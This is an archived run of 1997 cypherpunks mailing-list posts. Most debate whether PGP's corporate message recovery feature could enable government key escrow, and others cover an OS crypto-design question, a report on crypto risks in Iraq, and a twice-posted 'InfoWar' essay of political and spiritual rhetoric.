iQEVAwUBNE/J3ZaWtjSmRH/5AQF1Qwf/SA169EBTJ5XPC7By/nkiUMYNb9kZLoRP
FExdNTiKw0hsRP45i99YhKebCifFwHCgGxhCu/Shw8RkHMWziVt0AhvcVUq4FM67
rHDQ9rzX6JTra8yI+esHmxk7A8C/FlaJJP7HHI38kBzd9XP9HMb7FE/OBF39sYvs
RYE6VPKfXv4dL44j90PrJHeTaKRZCDObsauuGWBvynzsZRNNp90dXU9SJiBXQV3e
rtmr0bo+IGmumiI1zpMta2jHguCH+16YWlaOoIOe6Ql5fh6KLqTouI+o5PlHM31S
eqL6uLdEBUOwVFgbTtcdOlJbnWCvNLVgy/y9AhEr1sU0qYbC+jFcEA==
=cVS2
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joubin <joubin@inch.com>
Date: Fri, 24 Oct 1997 13:51:19 +0800
To: "cypherpunks@toad.com>
Subject: Request for expert opinion and Feedback
Message-ID: <34503432.B31F9382@inch.com>
MIME-Version: 1.0
Content-Type: text/plain



Hello all,

I am involved in a project which aims at the creation of a free and
portable Java(tm) based object operating system.  A basic functional
requirement for this new OS is to provide /fast and effective/ strong
cryptographic support at the OS level.  

The basic structure of the system is a layered architecture, with the
lowest layer consisting of a platform specific (non-portable) kernel
supporting an embedded JVM (again in C/ASM) and a set of Java(tm)
interfaces to this 'virtual platform'.  The OS proper will sit on top of
this and will be 100% Java (tm).

The issue:

As you may know, SMI has and will deliver a set of 'security' packages
as a standard component of JDK.  This uses RSA technology.  Basic and
general 'interfaces' to encapsulate constructs such as Key, Provider,
Cypher, etc. are also defined.  

A few people in the project group feel that many different groups and
entities out there will provide (portable) Public Key encryption
packages (implemented in Java(tm)) that can be used by the users of the
OS.  They argue against embedding computational support at the Kernel
(non-portable) layer as wasted effort.

Others (& myself included) feel that 'effective' also means efficiency
of execution.  Specially so if such functionality is to be used to
encypher 'streams' and such (if that is possible).


Your expert advice:

a) How do you feel about 'where' the computational support should be
   implemented ?

b) Assuming answer to (a) to be "At the kernel level and in C/ASM", is
   it possible to achieve a fine-grain modularity in terms of fairly
   generic algorithms and computations which can then be combined in
   conjunction to support a variety of encryption strategies ?

c) Is there any benefit to implementing the random number generation
   system in the Kernel?


Your input is greatly appreciated.  If you feel there are other
considerations to be made, please let me know.


Thank you.

Joubin

p.s.  Java(tm) and related items are the tightly guarded property of Sun
Microsystems Inc.

__________________________________
member, alpha zero LLC
joubin@inch.com
NoVA
__________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Thu, 23 Oct 1997 21:32:48 +0800
To: cypherpunks@Algebra.COM
Subject: Use crypto, face a death squad
Message-ID: <87761312106967@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain



There have been various rumours and comments over the past few years that the 
use of crypto in certain countries (Syria, Iraq, possibly China) is very 
dangerous for the end user, but very little actual evidence to substantiate 
this.  About a week ago I got some evidence (well, something better than the 
usual rumours) on the situation with using crypto in Iraq which people might 
find interesting.
 
I was talking to someone who worked for a large multinational corporation 
which maintains a comprehensive directory of who to contact in each country 
they operate in (basically every country on earth, this was before the gulf 
war so Iraq was included) for any kind of emergency.  This consists of a huge 
file of data intended to cover every imaginable type of situation.  Included 
in the information on Iraq was a comment to the effect that you should never, 
ever use any form of encryption when sending messages to the contact people 
there.  He can't remember the exact details any more, but the implication was 
that any encrypted messages sent to them would result in them quietly 
disappearing.  Since this was a very big company with a lot of sensitive 
information which it would go to great lengths to protect, I would assume they 
had very good reasons for advising against the use of crypto in this instance.
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Fri, 24 Oct 1997 18:06:29 +0800
To: shamrock@cypherpunks.to
Subject: Re: PGP Employee on MKR
Message-ID: <877686661.25414.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



shamrock@cypherpunks.to wrote:

> I have watched this silly debate for some time now. PGP pulled an awsome
> hack on corporate America, bringing strong crypto to thousands of
> corporate drones,  while Cypherpunks, the crypto elite, seems incapable of  
> reponding with anything other than to engage in frenzied mutual
> masturbation fueld by GAK fantasies.
> 
> This is sad. Very sad.

Lucky, did you actually read anything I wrote, or is this merely another
knee-jerk response?

If you can explain the following, then I'll accept that my fears are merely
fantasies:

1. How PGP can prevent CMR being converted into GMR; their system builds
   all the code required to support mandatory encryption to FBI and NSA
   keys into every copy of PGP.
2. Why PGP prefer this option to almost identical systems which do not
   allow GMR. They don't even seem to be interested in discussing
   alternatives.

These are the important questions we should be asking and noone on the
pro-PGP side seems interested in answering them. Why?

Frankly, this issue seems to be the most important since Clipper, and I'm
amazed that so many cypherpunks are so dazzled by PGP's name that they
refuse to sit and think these issues through. 

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Chiu Ngan" <simpsonngan@hotmail.com>
Date: Fri, 24 Oct 1997 19:54:54 +0800
To: cypherpunks@toad.com
Subject: Please send me some info
Message-ID: <19971024102659.5169.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



I am a student of the University of New South Wales in Australia, as I 
am going to do a research about my informayion system assignment, I am 
mailing to request for some information.  My assignment is regarding to 
the current examples of "use of computers to commit fraud; use of 
computer to commit sabotage; false advertising/ claims for computer 
products; degradation of work as a result of computerisation; failures 
in computerising the workplace"

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Fri, 24 Oct 1997 19:55:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP Employee on MKR
Message-ID: <877689108.28637.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



>Mark, just remove the self signature on the user key. The message
>recovery key packet goes away! That's all you have to do. Is that
>so tough? This big threat, the dangerous CMR key, turns out to take
>two seconds of user actions to be destroyed. Something this easy to
>turn off will never be good enough for GAK.

Gosh, so I can just remove that packet and all my mail will bounce. What
fun. This seems to be one of the mantras which pro-PGP folks are chanting: 
'But there are easy ways to work around it, just modify your copy of PGP
and it will all work fine'. Indeed there are; I have no doubt that there
is no way that anyone could entirely prevent me from communicating privately
with a few people. But what happens when I want to check whether the local
Blockbuster have a copy of 'Debbie does Fort Meade'; will they have modified
their software so I can send mail to them without GMR? Of course not. So
99.9% of my mail will still be visible to the government.

>People say, "Oh, but then the government will make everybody run the
>policy enforcer and reject any mail not encryped to the government."
>First, if they were going to do this, they could do it with old versions
>of PGP too. Multiple recipients have been around practically forever.

*IT'S NOT THE MULTIPLE RECIPIENTS THAT ARE THE PROBLEM, IT'S BUILDING THE
'MANDATORY VOLUNTARY' MULTIPLE ENCRYPTION INTO EVERY COPY OF PGP WHICH IS
THE PROBLEM* This is the other mantra that PGP supporters chant 'Oh, but
it could all be done with PGP 2.6.2 and a few scripts'. Of course it could,
but only a few people would choose to use those filters. If the government
were to set up SMTP enforcers in various choke-points around the Net (and
I'm aware of the performance issues) then anyone using PGP would have to
encrypt to the 'voluntary' FBI key or lose their mail. The Feds aren't
going to issue every PGP user with scripts to do it, but if you build this
facility into the software they can use it.

>Second, it's a ridiculous idea which ignores how email works. More and
>more people are running systems at home which could send and receive
>SMTP mail. The trend is towards home servers which support the multiple
>home computers people will have in the next decade. There's no way to
>make those people run filters!

Duh, of course they won't. But that email will go out over a TCP link to
the SMTP port, where it can be checked on route by sniffers or proxies.
How did the Chinese and Singaporeans restrict Net access? By blocking
connections in the routers and Web proxies. This is the way to do it, not
to force everyone to run an SMTP enforcer on their personal machine. 

>It has to be suggested, because it's the only
>way this incredibly stupid scenario could be made to work. I can only
>assume that people are blinded by emotions or they wouldn't suggest such
>a bizarre idea.

Yes, I must be, mustn't I. I mean, the Feds would never pass a law 
mandating that all Internet providers must provide SMTP proxies which 
enforce the GMR and block other SMTP connections; after all, they never 
passed a law mandating that telephone companies must provide wiretap
access. Oh, they did, didn't they?

>If the only
>way the government can enforce GAK is by making it illegal for people to
>receive email through paths which don't pass through government filters
>we can all rest easy, because it will never happen.

Yes, which is why they won't do it that way. In my last job, any SMTP
access from my machine to any other on the Net was automatically routed
to our local SMTP server which acted as a proxy. Why can't the Feds do
this on the US Internet?

>Or superencrypt to the real end user, like you suggested in your scheme.
>Why is this OK as a privacy workaround for your idea but it doesn't
>count for PGP?

Firstly, that's not a "privacy workaround" in my system, it's to prevent
traffic analysis. Secondly, again it's a workaround which will only be
available to a small number of people. 

>Ignoring all the considerations above about what a stupid idea this is,
>the fact is that a simple filter like this is incredibly easy to write.

As I said before, the SMTP filter is not the evil aspect of your design,
it's the enforced encryption to multiple recipients.
 
>The fact is, nobody has come up with a scenario where PGP's CMR feature
>can be turned into GAK in any practical way. 

I just have. Now try to explain it away.

   Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Fri, 24 Oct 1997 18:21:04 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 6 (Part III of 'The True Story of the InterNet')
Message-ID: <34507062.F5B@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Epilogue 
Bubba Rom Dos


Epilogue


WORK AND NOT WORK

Looking back over the events of my life since I wrote Witness
and the experience of the Institute Summer School of 1962;
it becomes more than ever clear to me that our understanding of
man turns upon the problem of Reality. If the aim of existence
is Self-Realization and if this is identical with God-Realization,
then the connecting link that makes them one and the same is to
be found in the meaning of the word 'Reality'. If all were equally
real, then realization means the process of transformation that
leads from the unreality or imperfect reality towards Reality
in the fullest sense.

The theme of this book is that there are both degrees and distinctive
modes of Reality, and that there is a process that leads from
the Unreal to the Real. This, in its turn, requires that there
should be a means of effecting the transformation. This 'means'
is what we call by the name of WORK. In the book there are few
references to Work, either in the absolute sense as the process
of universal realization, or in the relative sense of personal
transformation. This is because those who participated in the
discussions started from the premise that Work is a reality in
both senses: absolute and relative. We were not concerned to discuss
the authenticity of the process of transformation, but to understand
it better.

The obligation to work for Reality is the Categorical Imperative
from which life derives its meaning. It is, as Kant showed in
the Grundlage, the ultimate, irreducible, moral certainty from
which are derived our notions of God, Immortality and Ethic. I
have never been satisfied, nor I believe was Kant himself, with
the Critique of Practical Reason. It does not convey the sense
of urgency which we experience in contemplating life based on
Work and life without Work.

I was impelled to write this Epilogue by the impact of a vision
or vivid dream that woke me from sleep a few nights ago.

I found myself in some remote, antipodean place where people were
living ordinary lives. I recognized not a few of them as people
I knew or had read about and noticed with a sense of wonder rather
than surprise that some were still living and others were dead.
They did not notice this difference because in any case they were
all ghosts. But they were all aware of being ghosts and wanted
to turn into real people. From time to time, an aeroplane arrived
with others who joined them and among the new arrivals were both
living ghosts and dead ghosts. I was made aware that all was well
with these people because eventually they would cease to be ghosts.

Then I found myself back again nearer home; but this time I was
taken to some kind of underground place. Here also were people
more or less happily occupied with their daily lives and some
of them were now living and others were dead. These also were
ghosts but these ghosts were neither able to distinguish between
life and death, nor did they understand that they were no more
than ghosts.

I knew that I must tell them about their condition and about the
other place where ghosts were being transformed into real beings.
When I spoke to them of aeroplanes that could take them over,
they said that they would go only if an aeroplane would come back
and assure them that there was a place for them over there.

I remember very clearly explaining that once an aeroplane had
gone over, it would never return. This seemed to them illogical
and unreasonable and they took no more notice of what I said.

Then I found myself in a kind of lift being taken back to the
surface. I looked at the lift-man and said to myself, "If
I were not colour blind I should see that his face is grey".
Somehow, this observation brought home to me the terror of
being a ghost and immense pity filled me for these people who
had lost the possibility of becoming real.

As I began to wake up, I said to myself: "What does it
really matter that they are only ghosts? They are good, decent
people, living good, decent lives and if they are satisfied with
unreality why should they be disturbed? Their ghostly existence
is also necessary."

At that moment I awakened completely and saw, in a flash, the
infinite significance of Work. It is the imperative of all imperatives,
the source from which all life takes its meaning, the way to Reality
and even Reality itself. Work takes many forms: but all forms
have one common character: the Will to Reality. Whether
active or passive, whether in solitude or in society, work is
always one and the same: it is the dedication of the will to the
realization of Reality. This dedication carries with it the obligation
to share understanding with others and to serve
the Work in its universal significance. That is why those who
have seen the difference between ghost-life and real-life are
compelled to speak of what they have seen-even to those who do
not wish to hear.

I am more than ever aware of the imperfections and even the errors
in what I have written. I am ashamed to offer it as a "Spiritual
Psychology" to those who are seeking for the Reality that
is Work. Let it be taken as an essay and an attempt to share an
understanding that is still in the process of being born.

J.G. Bennett.
January, 1964.

{Excerpt from "A Spiritual Psychology" by J.G.
Bennett}



Bubba Rom
Dos

"He who shits on the road,
will meet flies upon his return."

What is InfoWar?

InfoWar is the voice that tells you that you
can shit on the road, and not meet flies upon your return,
if you spray the area with Agent Orange.
InfoWar is the voice that tells you that you can spray the area
with Agent Orange and not suffer any consequences to your
own health, because you don't live here.
InfoWar is the voice that tells you the people who do live
here are Communists who need to be killed, with the help of Agent
Orange, and people who need to be saved from both the Communists
and the flies, with the help of Agent Orange.

InfoWar is when the evening movie at the PX
is 'Clockwork Orange' and your head starts pounding, as
a ferocious battle begins between your awakened prenascence and
the thundering voice which is screaming, "It is not
synchronicity...it is only a coincidence."

InfoWar is when you can look at a picture
of a napalm-burned child and tell by the color of their skin whether
or not they are the enemy.


I am not arguing for or against this or that
battle, this or that war. I am only pointing out that anyone who
returns from war the same as when they left for war, or with their
sanity completely intact, in need of no healing...
Well, let me just say that they already live in a Virtual Reality
within which the inhabitants of that reality do not realize that
they are ghosts.


InfoWar is when you don't turn on the gas...you
only put them in the ovens.
InfoWar is when you don't put them in the ovens...you only
turn on the gas.

InfoWar is when you don't drop the atomic
bomb, you only design it.
InfoWar is when you have two types of nuclear bombs and you convince
yourself that they both need to be dropped, not for testing
purposes, but to end the war earlier, and to save lives.
InfoWar is going to sleep praying that your Generals and Nuclear
Physicists don't wake you in the morning to tell you that they
have developed a third type of nuclear bomb, which must
be dropped in order to shorten the war and save lives...or
a fourth, or a fifth.


InfoWar is convincing you to develop nuclear
software without a backdoor that you can use to prevent it from
raining destruction on the innocent, because you are just a programmer,
an engineer, a designer, a grunt, and these types of decisions
are to be made by those who are trained to know when it is right
for millions upon millions of people to die, and for the earth
to be scorched beyond repair.

InfoWar is convincing you to design surveillance
software without a mechanism available to defeat it if it falls
into the hands of the Destroyer.
InfoWar is thinking that you are an island, and that your island
only produces the tools and weapons that can be used for great
Good or great Evil-thinking that those on other islands bear the
responsibility for how those tools and weapons are used.


"If ye love wealth greater than liberty,
the tranquillity of servitude
greater than the animating contest for freedom, go home from us
in peace.
We seek not your counsel, nor your arms. Crouch down and lick
the hand that
feeds you. May your chains set lightly upon you; and may posterity
forget
that ye were our countrymen." -- Samuel Adams


Y2K not a 'bug'-it is not a 'design flaw.'
It is a collaboration, in preparation for...

Apple has not collapsed 'in spite of' being
Y2K compliant, but 'because' of it.

The Congressional IRS investigation is taking
place despite the fact that the agency is not doing anything that
it hasn't been doing for years and years. 
When heads roll (out), new heads roll in.

The Secret Lab Players are being given leading
stage roles, in positions such as at the FBI Crime Lab, in preparation
for...

What was CAMP (Campaign Against Marihuana
Production) all about?
It was a male bonding ritual between the Federal, State, regional
and local law enforcement agencies. 
It was laying the groundwork to shipping tens of thousands of
federal assault rifles to local and regional LEA's in preparation
for...

Full featured scaleable Telemetry systems
for power reticulation control
and a host of other applications. Exciting innovations in Telemetry

Systems. Designed and manufactured to your exact needs.
http://www.tora.net/telemetry/telemetry.html, 1873 bytes, 11Aug97

"The average person's views of love are no longer based
upon their relationship with each other, but upon what they see
on TV."
- President of Video Valentine

"That site contains no graphics, no photos, no video clips,
no audio. Just text. Deal with it."
-News of the Weird

"The '[ANY]' program cannot be 'fixed,' because it's working
precisely as the politicians want it to."
-Vin Suprynowicz <vin@lvrj.com>
  Assistant Editorial Page Editor of the Las Vegas Review-Journal


Subject: Check
the Archives
From: Ayn Rand <ar@dev.null>
To: Tim May <tcmay@got.net>


Tim May wrote:
>There's something wrong when I'm a felon under an increasing
number of laws.

Atlas Shrugged wrote:
>"You'd better get it straight that it's not a bunch
of boy scouts you're
>up against -- then you'll know that this is not the age for
beautiful 
>gestures. We're after power and we mean it. Your fellows were
pikers,
>but we know the real trick, and you'd better get wise to it.
There's no
>way to rule innocent men. The only power any government has
is the power
>to crack down on criminals. Well, when there aren't enough
criminals, 
>one makes them. Once declares so many things to be a crime
that it
>becomes impossible for men to live without breaking laws.
Who wants a
>nation of law-abiding citizens? What's there in that for anyone?
But
>just pass the kind of laws that can neither be observed nor
enforced nor
>objectively interpreted -- and you create a nation of law-breakers---and

>then you cash in on guilt. Now that's the system...that's
the game, and
>once you understand it, you'll be easier to deal with."


Everything since the Big Bang has been plagiarism.

Will the future plagiarize Hitler or Ghandi?

One Free Will, one vote...


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Fri, 24 Oct 1997 18:16:30 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 6 / The Geigerburg Text
Message-ID: <345070E8.186B@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Epilogue
   * Bubba Rom Dos

----------------------------------------------------------------------------

                                  Epilogue
----------------------------------------------------------------------------

                              WORK AND NOT WORK

Looking back over the events of my life since I wrote Witness and the
experience of the Institute Summer School of 1962; it becomes more than ever
clear to me that our understanding of man turns upon the problem of Reality.
If the aim of existence is Self-Realization and if this is identical with
God-Realization, then the connecting link that makes them one and the same
is to be found in the meaning of the word 'Reality'. If all were equally
real, then realization means the process of transformation that leads from
the unreality or imperfect reality towards Reality in the fullest sense.

The theme of this book is that there are both degrees and distinctive modes
of Reality, and that there is a process that leads from the Unreal to the
Real. This, in its turn, requires that there should be a means of effecting
the transformation. This 'means' is what we call by the name of WORK. In the
book there are few references to Work, either in the absolute sense as the
process of universal realization, or in the relative sense of personal
transformation. This is because those who participated in the discussions
started from the premise that Work is a reality in both senses: absolute and
relative. We were not concerned to discuss the authenticity of the process
of transformation, but to understand it better.

The obligation to work for Reality is the Categorical Imperative from which
life derives its meaning. It is, as Kant showed in the Grundlage, the
ultimate, irreducible, moral certainty from which are derived our notions of
God, Immortality and Ethic. I have never been satisfied, nor I believe was
Kant himself, with the Critique of Practical Reason. It does not convey the
sense of urgency which we experience in contemplating life based on Work and
life without Work.

I was impelled to write this Epilogue by the impact of a vision or vivid
dream that woke me from sleep a few nights ago.

I found myself in some remote, antipodean place where people were living
ordinary lives. I recognized not a few of them as people I knew or had read
about and noticed with a sense of wonder rather than surprise that some were
still living and others were dead. They did not notice this difference
because in any case they were all ghosts. But they were all aware of being
ghosts and wanted to turn into real people. From time to time, an aeroplane
arrived with others who joined them and among the new arrivals were both
living ghosts and dead ghosts. I was made aware that all was well with these
people because eventually they would cease to be ghosts.

Then I found myself back again nearer home; but this time I was taken to
some kind of underground place. Here also were people more or less happily
occupied with their daily lives and some of them were now living and others
were dead. These also were ghosts but these ghosts were neither able to
distinguish between life and death, nor did they understand that they were
no more than ghosts.

I knew that I must tell them about their condition and about the other place
where ghosts were being transformed into real beings. When I spoke to them
of aeroplanes that could take them over, they said that they would go only
if an aeroplane would come back and assure them that there was a place for
them over there.

I remember very clearly explaining that once an aeroplane had gone over, it
would never return. This seemed to them illogical and unreasonable and they
took no more notice of what I said.

Then I found myself in a kind of lift being taken back to the surface. I
looked at the lift-man and said to myself, "If I were not colour blind I
should see that his face is grey". Somehow, this observation brought home to
me the terror of being a ghost and immense pity filled me for these people
who had lost the possibility of becoming real.

As I began to wake up, I said to myself: "What does it really matter that
they are only ghosts? They are good, decent people, living good, decent
lives and if they are satisfied with unreality why should they be disturbed?
Their ghostly existence is also necessary."

At that moment I awakened completely and saw, in a flash, the infinite
significance of Work. It is the imperative of all imperatives, the source
from which all life takes its meaning, the way to Reality and even Reality
itself. Work takes many forms: but all forms have one common character: the
Will to Reality. Whether active or passive, whether in solitude or in
society, work is always one and the same: it is the dedication of the will
to the realization of Reality. This dedication carries with it the
obligation to share understanding with others and to serve the Work in its
universal significance. That is why those who have seen the difference
between ghost-life and real-life are compelled to speak of what they have
seen-even to those who do not wish to hear.

I am more than ever aware of the imperfections and even the errors in what I
have written. I am ashamed to offer it as a "Spiritual Psychology" to those
who are seeking for the Reality that is Work. Let it be taken as an essay
and an attempt to share an understanding that is still in the process of
being born.

J.G. Bennett.
January, 1964.

{Excerpt from "A Spiritual Psychology" by J.G. Bennett}
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                                Bubba Rom Dos

        "He who shits on the road, will meet flies upon his return."

What is InfoWar?

InfoWar is the voice that tells you that you can shit on the road, and not
meet flies upon your return, if you spray the area with Agent Orange.
InfoWar is the voice that tells you that you can spray the area with Agent
Orange and not suffer any consequences to your own health, because you don't
live here.
InfoWar is the voice that tells you the people who do live here are
Communists who need to be killed, with the help of Agent Orange, and people
who need to be saved from both the Communists and the flies, with the help
of Agent Orange.

InfoWar is when the evening movie at the PX is 'Clockwork Orange' and your
head starts pounding, as a ferocious battle begins between your awakened
prenascence and the thundering voice which is screaming, "It is not
synchronicity...it is only a coincidence."

InfoWar is when you can look at a picture of a napalm-burned child and tell
by the color of their skin whether or not they are the enemy.

I am not arguing for or against this or that battle, this or that war. I am
only pointing out that anyone who returns from war the same as when they
left for war, or with their sanity completely intact, in need of no healing...
Well, let me just say that they already live in a Virtual Reality within
which the inhabitants of that reality do not realize that they are ghosts.
----------------------------------------------------------------------------

InfoWar is when you don't turn on the gas...you only put them in the ovens.
InfoWar is when you don't put them in the ovens...you only turn on the gas.

InfoWar is when you don't drop the atomic bomb, you only design it.
InfoWar is when you have two types of nuclear bombs and you convince
yourself that they both need to be dropped, not for testing purposes, but to
end the war earlier, and to save lives.
InfoWar is going to sleep praying that your Generals and Nuclear Physicists
don't wake you in the morning to tell you that they have developed a third
type of nuclear bomb, which must be dropped in order to shorten the war and
save lives...or a fourth, or a fifth.

InfoWar is convincing you to develop nuclear software without a backdoor
that you can use to prevent it from raining destruction on the innocent,
because you are just a programmer, an engineer, a designer, a grunt, and
these types of decisions are to be made by those who are trained to know
when it is right for millions upon millions of people to die, and for the
earth to be scorched beyond repair.

InfoWar is convincing you to design surveillance software without a
mechanism available to defeat it if it falls into the hands of the
Destroyer.
InfoWar is thinking that you are an island, and that your island only
produces the tools and weapons that can be used for great Good or great
Evil-thinking that those on other islands bear the responsibility for how
those tools and weapons are used.
----------------------------------------------------------------------------

"If ye love wealth greater than liberty, the tranquillity of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen." -- Samuel Adams
----------------------------------------------------------------------------

Y2K not a 'bug'-it is not a 'design flaw.' It is a collaboration, in
preparation for...

Apple has not collapsed 'in spite of' being Y2K compliant, but 'because' of
it.

The Congressional IRS investigation is taking place despite the fact that
the agency is not doing anything that it hasn't been doing for years and
years.
When heads roll (out), new heads roll in.

The Secret Lab Players are being given leading stage roles, in positions
such as at the FBI Crime Lab, in preparation for...

What was CAMP (Campaign Against Marihuana Production) all about?
It was a male bonding ritual between the Federal, State, regional and local
law enforcement agencies.
It was laying the groundwork to shipping tens of thousands of federal
assault rifles to local and regional LEA's in preparation for...

Full featured scaleable Telemetry systems for power reticulation control
and a host of other applications. Exciting innovations in Telemetry
Systems. Designed and manufactured to your exact needs.
http://www.tora.net/telemetry/telemetry.html, 1873 bytes, 11Aug97

"The average person's views of love are no longer based upon their
relationship with each other, but upon what they see on TV."
- President of Video Valentine

"That site contains no graphics, no photos, no video clips, no audio. Just
text. Deal with it."
-News of the Weird

"The '[ANY]' program cannot be 'fixed,' because it's working precisely as
the politicians want it to."
-Vin Suprynowicz <vin@lvrj.com>
Assistant Editorial Page Editor of the Las Vegas Review-Journal
----------------------------------------------------------------------------

Subject: Check the Archives
From: Ayn Rand <ar@dev.null>
To: Tim May <tcmay@got.net>

Tim May wrote:
>There's something wrong when I'm a felon under an increasing number of
laws.

Atlas Shrugged wrote:
>"You'd better get it straight that it's not a bunch of boy scouts you're
>up against -- then you'll know that this is not the age for beautiful
>gestures. We're after power and we mean it. Your fellows were pikers,
>but we know the real trick, and you'd better get wise to it. There's no
>way to rule innocent men. The only power any government has is the power
>to crack down on criminals. Well, when there aren't enough criminals,
>one makes them. Once declares so many things to be a crime that it
>becomes impossible for men to live without breaking laws. Who wants a
>nation of law-abiding citizens? What's there in that for anyone? But
>just pass the kind of laws that can neither be observed nor enforced nor
>objectively interpreted -- and you create a nation of law-breakers---and
>then you cash in on guilt. Now that's the system...that's the game, and
>once you understand it, you'll be easier to deal with."
----------------------------------------------------------------------------

Everything since the Big Bang has been plagiarism.

Will the future plagiarize Hitler or Ghandi?

One Free Will, one vote...
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Not That I'm A Troublemaker..." <ntiat@dev.null>
Date: Fri, 24 Oct 1997 18:13:53 +0800
To: Zooko Journeyman <zooko@xs4all.nl>
Subject: Re: spoofing as performance art
In-Reply-To: <199710240941.LAA00264@xs1.xs4all.nl>
Message-ID: <34507278.7483@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Zooko Journeyman wrote:
> 
> Tim C. May allegedly typed something like:
> >
> > There's something about the Cypherpunks list that causes some people to
> > decide it would be a kewl act of performance art to disrupt it, distract
> > it, stalk it, and mailbomb it.
> >
> > And complaining never helps...it only stimulates their performance art juices.
> 
> Hey, the jokes from Anonymous(ses) and Dmitri M. Vulis are the
> only reason I _read_ cpunks anymore!  Oh yeah-- and that
> hilarious spoof about PGP, Inc. putting GAK-friendly features
> into their product.  It's so funny that people fall for that
> old "PGP is in with the government" gag every time it comes
> around.

Yeah! It was a master stroke for PGP to redo their homepage to
reflect the addition of the PGP 5.5 Corporate Fascism product.
I bet they fooled a lot of people...yuk, yuk.

> Also, I'm looking for a job, I think.  Or else a good
> university to go to.
> 
> But mostly I'm just reading the hilarious Anonymous posts and
> spoofs.

Me too. I think those assholes spamming the list with all of those
crypto discussions should be forcefully unsubscribed.

Not That I'm A Troublemaker...

S A N D Y
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Fri, 24 Oct 1997 21:25:52 +0800
To: whgiii@invweb.net
Subject: Re: PGP Employee on MKR
Message-ID: <877698834.17691.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



whgiii@invweb.net wrote:

> No their system does not. For what the FBI and NSA want much more needs to
> be done.

Really? Read the message I sent after that one. Let's suppose it's 2007,
PGP have 99% of the crypto market. CMR compatibility is incorporated into 
all their products. 

The FBI announce that from today all Internet providers must support PGP
SMTP enforcers on all mail passing across their links, and block all other
SMTP connections. Regardless of whether your mail is spooled on your ISP's
hard disk, it will always pass through their link. All encrypted mail must
now be encrypted to the FBI's key as well as the end user's key or it will
bounce.

So, tell me why "much more needs to be done". Tell me again why this
can't be implemented. The only reason it *can* be implemented is that
PGP build the feature into their software.

> Not to mention that *ANY* crypto system can be turned into GAK if
> the FBI & NSA get congress to pass the laws that they want.

Yes, but PGP WANT TO BUILD THIS INTO EVERY SYSTEM THEY SELL!!!!! I don't
care that any Perl hacker can write a script which builds CMR into PGP
2.6.2, because those scripts are restricted to those who wish to use
them. PGP ARE BUILDING THE FUNCTIONALITY INTO EVERY PRODUCT THEY SELL!!!!

How hard is this to grasp?

> What PGP Inc. did was provide what their *customers* , you know the ones
> that pay their bills and keep them in business, wanted in a timely fashion
> with little modification to their current code while circumventing some of
> the more draconian requests.

Really? Did their customers ask specifically for PGP's flawed CMR
implementation, or did they actually say things like 'Well, we want to
be able to recover mail if someone dies or leaves the company'? If it's
the latter, don't you think that PGP should take responsibility for
implementing it in such a GAK-friendly way?

You seem be repeating the other pro-PGP mantra 'oh, you're not thinking
of the company's point of view'. I certainly am, which is why I want to
see that they get the best, most secure system without any GAK-friendly
features.

Here's a quick example of how cool CMR is... let's suppose that 
loser@foo-bah.com upsets a customer and is working for a CMR corporation.
Mr Irate Customer downloads some of that kiddie porn that we're told is
all over the Net, and encrypts it to loser@foo-bah.com, but doesn't
encrypt it to the company key. Mr Irate Customer mails hundreds of these
images to loser@foo-bah.com. Their system bounces them. The security
personnel at foo-bah.com notice all these bounces and snarf some of the
messages.

The security personell take these messages to Mr Loser, and force him to
decrypt them. Shock, horror, what a hideous, insane pervert Mr Loser must
be to be receiving all these messages. Mr Loser is handed over to the cops
and taken away. He might not go to jail, but he'll lose his job.

With a more rational implementation Mr Loser would receive the messages
and see that they're obscene, and immediately report them to the security
